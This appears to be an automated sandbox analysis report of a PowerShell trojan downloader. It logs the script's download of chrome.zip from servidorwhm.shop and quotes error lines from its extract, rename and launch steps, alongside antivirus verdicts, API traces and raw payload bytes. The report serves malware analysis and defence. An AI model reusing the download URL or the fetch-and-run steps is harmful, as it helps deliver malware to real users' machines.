Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	June 7, 2024, 9:28 a.m.	June 7, 2024, 9:40 a.m.

Size	1.1KB
Type	ASCII text
MD5	`b8d18d049050e1e12c378dd2c71cadc6`
SHA256	`cb938c7d528861da3f6be5b5a43ea4b0b3195afd1e5da51cc377e68b010a0fbb`
CRC32	`80637873`
ssdeep	`24:IuRpBfrOSwO9cEBdcYhYZz32kKYcEomlVpLcR+YdAsd4scjciPYc+W0d2/:IeBfr2m9B0mkKREPn31sdV4PPYvBc`
Yara	None matched

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy unrestricted -File C:\Users\test22\AppData\Local\Temp\www.ps1
2560

Name	Response	Post-Analysis Lookup
servidorwhm.shop	A 199.167.147.66	199.167.147.66

IP Address	Status	Action
164.124.101.2	Active	Moloch
199.167.147.66	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49165 -> 199.167.147.66:80	2044121	ET HUNTING Terse Request for Zip File (GET)	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW June 7, 2024, 9:28 a.m.	computer_name: TEST22-PC	1	1	0

Command line console output was observed (28 events)

Time & API	Arguments	Status	Return
WriteConsoleW June 7, 2024, 9:28 a.m.	buffer: Directory: C:\8520741 console_handle: 0x00000023	1	1
WriteConsoleW June 7, 2024, 9:28 a.m.	buffer: Mode LastWriteTime Length Name console_handle: 0x0000002f	1	1
WriteConsoleW June 7, 2024, 9:28 a.m.	buffer: d---- 2024-06-07 오전 9:28 App8520741 console_handle: 0x00000037	1	1
WriteConsoleW June 7, 2024, 9:28 a.m.	buffer: The term 'Expand-Archive' is not recognized as the name of a cmdlet, function, console_handle: 0x00000023	1	1
WriteConsoleW June 7, 2024, 9:28 a.m.	buffer: script file, or operable program. Check the spelling of the name, or if a path console_handle: 0x0000002f	1	1
WriteConsoleW June 7, 2024, 9:28 a.m.	buffer: was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW June 7, 2024, 9:28 a.m.	buffer: At C:\Users\test22\AppData\Local\Temp\www.ps1:33 char:16 console_handle: 0x00000047	1	1
WriteConsoleW June 7, 2024, 9:28 a.m.	buffer: + Expand-Archive <<<< -Path $tzi -DestinationPath $localtt; console_handle: 0x00000053	1	1
WriteConsoleW June 7, 2024, 9:28 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Expand-Archive:String) [], Comm console_handle: 0x0000005f	1	1
WriteConsoleW June 7, 2024, 9:28 a.m.	buffer: andNotFoundException console_handle: 0x0000006b	1	1
WriteConsoleW June 7, 2024, 9:28 a.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW June 7, 2024, 9:28 a.m.	buffer: Rename-Item : Cannot rename because item at 'C:\8520741\App8520741\chrome.exe' console_handle: 0x00000097	1	1
WriteConsoleW June 7, 2024, 9:28 a.m.	buffer: does not exist. console_handle: 0x000000a3	1	1
WriteConsoleW June 7, 2024, 9:28 a.m.	buffer: At C:\Users\test22\AppData\Local\Temp\www.ps1:18 char:15 console_handle: 0x000000af	1	1
WriteConsoleW June 7, 2024, 9:28 a.m.	buffer: + rename-item <<<< -path $Arquivo -newname $NovoNome; console_handle: 0x000000bb	1	1
WriteConsoleW June 7, 2024, 9:28 a.m.	buffer: + CategoryInfo : InvalidOperation: (:) [Rename-Item], PSInvalidOp console_handle: 0x000000c7	1	1
WriteConsoleW June 7, 2024, 9:28 a.m.	buffer: erationException console_handle: 0x000000d3	1	1
WriteConsoleW June 7, 2024, 9:28 a.m.	buffer: + FullyQualifiedErrorId : InvalidOperation,Microsoft.PowerShell.Commands.R console_handle: 0x000000df	1	1
WriteConsoleW June 7, 2024, 9:28 a.m.	buffer: enameItemCommand console_handle: 0x000000eb	1	1
WriteConsoleW June 7, 2024, 9:28 a.m.	buffer: C:\8520741\App8520741\8520741.exe console_handle: 0x000000fb	1	1
WriteConsoleW June 7, 2024, 9:28 a.m.	buffer: Start-Process : This command cannot be executed due to the error: The system ca console_handle: 0x0000010f	1	1
WriteConsoleW June 7, 2024, 9:28 a.m.	buffer: nnot find the file specified. console_handle: 0x0000011b	1	1
WriteConsoleW June 7, 2024, 9:28 a.m.	buffer: At C:\Users\test22\AppData\Local\Temp\www.ps1:38 char:17 console_handle: 0x00000127	1	1
WriteConsoleW June 7, 2024, 9:28 a.m.	buffer: + Start-Process <<<< -FilePath $lexe; console_handle: 0x00000133	1	1
WriteConsoleW June 7, 2024, 9:28 a.m.	buffer: + CategoryInfo : InvalidOperation: (:) [Start-Process], InvalidOp console_handle: 0x0000013f	1	1
WriteConsoleW June 7, 2024, 9:28 a.m.	buffer: erationException console_handle: 0x0000014b	1	1
WriteConsoleW June 7, 2024, 9:28 a.m.	buffer: + FullyQualifiedErrorId : InvalidOperationException,Microsoft.PowerShell.C console_handle: 0x00000157	1	1
WriteConsoleW June 7, 2024, 9:28 a.m.	buffer: ommands.StartProcessCommand console_handle: 0x00000163	1	1

Uses Windows APIs to generate a cryptographic key (15 events)

Time & API	Arguments	Status	Return
CryptExportKey June 7, 2024, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x050b77e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 7, 2024, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x050b77e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 7, 2024, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x050b78a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 7, 2024, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x050b78a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 7, 2024, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x050b78a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 7, 2024, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x050b78a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 7, 2024, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x050b78a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 7, 2024, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x050b78a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 7, 2024, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x050b78a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 7, 2024, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x050b78a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 7, 2024, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x050b78a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 7, 2024, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x050b78a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 7, 2024, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x050b78a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 7, 2024, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x050b78a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 7, 2024, 9:28 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x050b78a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx June 7, 2024, 9:28 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header

suspicious_request

GET http://servidorwhm.shop/chrome.zip

Performs some HTTP requests (1 event)

request

GET http://servidorwhm.shop/chrome.zip

Allocates read-write-execute memory (usually to unpack itself) (37 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0272f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026b9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x056d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x056d1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x056d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x056d3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x056d4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x056d5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05561000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x056d6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef30000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x056d7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026bd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x056e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02729000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a62000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a63000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 1376256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06870000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06980000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06981000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06982000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06983000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x056d8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x056d9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05576000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x056da000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x056db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05562000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x056dc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06984000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x056dd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 7, 2024, 9:28 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x056e1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

File has been identified by 4 AntiVirus engines on VirusTotal as malicious (4 events)

Symantec	Trojan Horse
ESET-NOD32	PowerShell/TrojanDownloader.Agent.ITB
Rising	Downloader.Agent/PS!8.1250D (TOPIS:E0:dqukQlhyhpR)
Kingsoft	Win32.Troj.Undef.a

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses June 7, 2024, 9:28 a.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (7 events)

Data received	`£²à²}#&TÍÊ{¢¢o0j<ëòx¼S©,î[¦ÏáV¸¥Y¨¥¸[²]öµO¬GØh.èï,æOjzÑÃOùö){q'ÄÉCç5×\|qy ßï¡û³ìIÂäfe?Ââø'¯§&¹üc ÿäò>xÏ§¦Åäÿò¸ì[åï"ùÝüÉ5çó¥¿<{éùþ±Ú-xÇ%#¸¾ÿº0 æe1fïîGüªdÀLmõõ¿4×§Yì<ÂÄd6Zá0³ñcmj¼[\|xíú 6ùÕöm¾XMÍißQ°v\¢¶Ïñ°;êÖãëS¶àNd³¹M·eNÄØ=Cûç°³jxKÆCLñ×bx(²³9ÉG³ðh<ó e±-ôB+Bh@$è8»£_¢#m:íØñA#M]¡ìM.hë³ó)&[ Wzc§µ6Ü¦AIÄ[Ø\¶ ÚÔlÖ4¡a{@;äXn±¦7#!ÒAhàæ¬÷`<ßð8bm\|wa©1Øihî#ä< àÐvÞ-ô4iåÂÁ7?Íf ²å;rå;nWþÈ[zùÒìÊ×LåCáÝñj!+ce,îÎÌO6(8°ÄÞ¸«;¾Ì¿=÷ì³Ï^ÿðÔMÖÒîuô±I$j"5àêÉFÃï;âh4½g(îKn¤û äWápVÆ«Y`g£öëï±£Lp®l (±^®êÔÙuX:CÓñ]HèèÇÖË¾®÷=ÕÑæÁãø²ä.úª!n=©==2_`Øß·IÝ+Ï¿'ÓBI}³bæ>¨cïf³I¨úÚ©)p 7VÁN4çg6¡ãIÖ$ûÂ<?¡ýuµµïAËà S¶ã°l¯X»«Ùyàôq°Æ$nÙÀÍ!D ¶@óªWÛ2-¼#¸ ÿé.Ý6hòÍPº«7¬na'³ÃD$kãäËïD©=2\|6ÚGÁw´{?¥6BSøñsóÛP§-¼ª"AÜÍùÆü »:_y<MÜë\|;d=?}ÿ ßú:¨RâópkÞ}²À6KD³å'GDfG¼~ÿ÷óó¬usM~òBV?ÌKhàöÅNûÿvA»ïZ^ú íg~3Y ó_H¢þBþ`-_-!ç¶ÖÄÍÙÄðÄ2çËWª&Yh§>¨:¼<Ç',²u[Õ9g "µªwYaÞmEò6çå]êDvØú81e}%ú0ü.ööÇÚë³éV6káp¾VòF6_>/\ßcê.JLQWbª,êLLGç&¦æb eou´%´ÿ_[xî$\Wàó²ð\5\µpµÁµ®ýp½×!¸>ë:\ó@·î«®Gá2· ¦Æ¾ëÑjKÎÜaí´jÉw=ö¡>jíîP%mÀ@Ìpc,Û,ÿyÊ/Í"?ô.ûRñF.\®ÀNä_ûO}Z"9)¢ hâp G¢e0üåa%qBþç&O!O²yP 74xP4o}6+ixPá_<ÏNÐFSöéh{ä±õb8 ÒF¬g/0¦»ê\|%?ÆOÝ}ð\|%?xÕ5¹,§îÊDç¸>æ0ì¦\'ÎUbF>µäöÞ9Ù{ÛYJÒÉÌ§¸×o Jl86Þü~ÝþôÝ¿/ômÁjÔ¾ö¥ùé(ØKO¬?ëóe7j}^\|^O äEâÔõôêßpzt¿´Ò35áüùB):êO±ÔÀZ©~¬d¢VÉDÁ\|È²éÖÚºæÔúÅ.{^"?O³òwÏ¯7RE=ØÁUqu7´)±QûúNQÐ÷9I¿hÉªJ¥´»ß¨¿1[Ú=æGÓßèñJíoþxÄLé.îQÑÓý/ò ý(ÎOnòÖÃzPûÓU ü¯&ÙÓòµ$ù>Y~É"?7mÒxtóøÚóõóè\|åúóSÐÃÕCõð¸=x=WHÒ/çÍ¯FA´g£Äùº¸d¢E+ª\|\|eÏN»úlM>@Ó6ìÒöÝ0[l~(KæDÙz¼Èíëm¾ÖkºBâcµ!¹@ËÍçöÏd_HÞïçàí·Íézz¡±¼÷§S{üØM6ßKy÷²åúCl%[îOOI%,ùå"ù×¦$N 'È¥``ðKñ÷K)ÅkÞ¾Sj9TÃ/ò@nÞk[Ûoº½~qm¿I/¹-ì Á ©\fØ[¶hß ûØ»[Tm¶Ý²éÕ·É"°³äÛ~à,C.õâ÷!¤¬tIõK¶ÊüÀþúe[¨°@²¿ö0ð®Ä·Ø:sqí3Ðï¦"W²ufþJÑ <¥Øëçïªv# M_µÓÆ/³Vµó¾tjãMÞÄ-¹aEVõKd·C`ìY5d²9ýtÐ¸Ý²vÙ×:px£è@£²ºCýÆ¢Ýl)ùQ ¾§hx _Âo©üÉ J·bþú¹T{ ³d¨Ù²A^X=3û§ß~Ûï¬ô®´¿Ó%!_3×ËROI}l³¢.Þ¶Ú+.Ô0Midv¤ @üÿü\|ùé[JÁ°ö$w Rô V4ê@TÆîÂ\|!)¶ª/$Æ XßbÔ-ô_Ôéèôótz½Â}»ºÓJÚfEi¿2n~ö»ÇÍ.ËKÛÈ·Zët~$'÷x%=?ÑÂ¿Hæ·§ý;eÇ×¸kUÛR¥éÇ«yñù¼wÙí¼+D ÐµÔ9Áü{çúU$Dq[§OD<Ræl@Àãæ¿ÌÇ((»@¢/Ëñ/:öY¶¤ÒÆw(é6Ó^!Szî1Ý?%¥ÛôZ¢ï#X9¤×JHâàQ4¾ÃnËÕHÞ íÅïOû?QðãóõKïÈCMßX\rï§¤YÞ×¤zyHå¥Ûê«@z¶béFþB<yÓÂ¹L¡ÄÛí±j0Å^t)¡²M·å ¨ëòÙ¸xþ"Ó<w.«é}óIõò¨yCCáø{OmD ±Á¹±X\|2·çLÂ: eÈË ùü)µhl±QèYáK¥ä§^(ôâQmªÒü¦ )ñ«$~!âGß«Mß9ÍÓZ¤Q)ü¨h¢6xdºiËe÷+zþq¿»h%Êææ<º¡jv#^]pW}îwXi¼¹ÖlÜO×©þ=©5kàÓÞÖctÇ '&k=ßrPOL¯\|ÿYaFÑ!vL»~Ýú%®WüäÇí¬ÿÄáj,¬(ý÷¾3ý´ýÎÌþµû`a:Í±Ké:wxôJdäºÓãÊ_é=¦½s¼R`#e£}#¿ÓðfðAÝËè~Btsé:E{7Ò¯½'3÷ö\Ðæ²¿·Í£@ê^Ju\|®Ì¶]f)ejÂMÝË´RWqIºN>j æÜÉÅ#´ÅFFcüæxàxÓ#¾\íH6ßÅ'â¼d)ÓÊ=~ÂÇzoÖ_¼?Ê;¢üpV^¯þcLï?Æõ,ÄV\|Á[% ¨ ¥-=ÿ6Vfå¬]èï¤c×}:>üë8¸CàÜÆ/~6bTÍ"»lÉ®ËgôOKôrý),ÊLMÓU¼cíûhlé;püM=«Æ*179b:\|õrþÆSüÄVÕåHÂÀZbÚÍ¡¤¥KiXÀNè ¥ØrM1\|w:ØÝoúþÑõt]àI.JrSRÅÞG7YÌVn[¹nES¬À8BXô."«Lhäá×§L½4¬hU Î5ú>0JÛÎõ¡Õß(SÖïLþ.µÖ-¨nÁEa6öß¯ëã¾ç2ú:C¿ÙcQTL UâÆ;F?@IÎ^¢^bôhÚ=:dÎQÐÛ!cÞý¥çöæÐùW;¹Æ·ïe¤Êñ³ÁùÜQ¸ ×v%ÝînGÛ, \|¿$Òñÿç¸o·4)ìkEØGúR&E[³Öªà¶U6©}yÎæQ¨¢!vÚ Íbÿ
Data received	êr¯KtkP7¡.³é¬F®ËÛÔeAÝñaX¼óáºËërÂºÌ5ÐÇÃSz>du+ÙQô»¾@]fSÚÇê²w£´º,u£}¢.3Bë23,§4«-NúúïU4u"z,ÏØÂü"±dÝ4vîäÝÉûíÔ^¼Ó5í\9ÉGxéÑé-Ý`-Q'¼ðóMnRgÉÜ½§YuYÑÁ,ºi@~ë,Ðx·«'A':Ne\&¶§QÀ¼¡ÁÛwMöO»ìþÚT/'·3¼Zm@ÃA³¼Õª_%£V5ºÒ?æX2½¹¿ÆëX">ö(Å£F¾$îFÁ~&1 Î¤ôuáý¤·ðuKn?âÌiò>=Ïa´;$WY&]É&ï4ìñgÛ·Õ,KþLÃÌ\Sðí¡èóÜuVú!ÖÈh¼ÌÑÆ®3%·º&y- <Zîf4é°9ÁÉ£ô+düO¬v,X²ù·û8ù#^ØÜ×gÂ(a¹yYf$;'ï2EÂÞ¯©âdµÛ\Q¡¼IÍ%!Dµ¢{ZBsxKÿMùw ·³ôHP è¶zO¢b~¹·pnÒú hÃK°GÝ1t¿wA¬./ºjJþ:ùxÓ`T9ÙEâÞMdlhõæ>Y D÷-DÚze._#Il5ôl4,Íú¶&qÅÕPÏ-+ùð¿Ño&&t].#Q)6rÙ-®l QU6 AúKw±Y,³n·ùæÐ£Ñi5¬MO²pG9.t!DÌ°>ñ ÒV¥¤UÎo!YÆw¢FÊ?3,ÿW¤°Ïþ³Ðí¥zÄ{¥ç0Xv~·@jP!Ùr£R%5ìsÇÊíF£ÌÆ7é#E:èKdW¾ø¥»ääÖ 2àµ\°©¼¬¬ìäaavÏ~¼î&¯åÖýI«·t-Í=+Mr,5u^ËMÃH~oPwUÞ\¯¥2G)2Â 